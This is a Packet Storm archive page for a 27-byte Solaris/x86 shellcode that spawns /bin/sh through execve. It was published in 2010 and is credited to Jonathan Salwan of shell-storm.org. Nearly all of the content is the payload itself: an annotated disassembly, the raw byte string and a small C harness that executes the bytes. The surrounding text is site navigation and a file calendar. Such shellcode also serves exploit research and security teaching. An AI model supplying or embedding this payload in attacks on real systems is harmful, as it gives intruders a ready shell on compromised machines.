exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Solaris/x86 execve("/bin/sh","/bin/sh",NULL) Shellcode

Solaris/x86 execve("/bin/sh","/bin/sh",NULL) Shellcode
Posted May 20, 2010
Authored by Jonathan Salwan | Site shell-storm.org

27 bytes small Solaris/x86 execve("/bin/sh","/bin/sh",NULL) shellcode.

tags | x86, shellcode
systems | solaris
SHA-256 | 6fbd240b11e7e8c184ffc762b3948733357250ef2f698105716ad6e7c52e0e08

Solaris/x86 execve("/bin/sh","/bin/sh",NULL) Shellcode

Change Mirror Download
/*
Title: Solaris/x86 - execve("/bin/sh","/bin/sh",NULL) - 27 bytes
Author: Jonathan Salwan <submit AT shell-storm.org>
Web: http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm

Date: 2010-05-19
Tested: SunOS opensolaris 5.11 snv_111b i86pc i386 i86pc Solaris

section .text
0x8048074: 31 c0 xorl %eax,%eax
0x8048076: 50 pushl %eax
0x8048077: 68 6e 2f 73 68 pushl $0x68732f6e
0x804807c: 68 2f 2f 62 69 pushl $0x69622f2f
0x8048081: 89 e3 movl %esp,%ebx
0x8048083: 50 pushl %eax
0x8048084: 53 pushl %ebx
0x8048085: 89 e2 movl %esp,%edx
0x8048087: 50 pushl %eax
0x8048088: 52 pushl %edx
0x8048089: 53 pushl %ebx
0x804808a: b0 3b movb $0x3b,%al
0x804808c: 50 pushl %eax
0x804808d: cd 91 int $0x91

*/


#include <stdio.h>

char sc[] = "\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x50\x53\x89"
"\xe2\x50\x52\x53\xb0\x3b"
"\x50\xcd\x91";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(sc));
(*(void(*)()) sc)();

return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close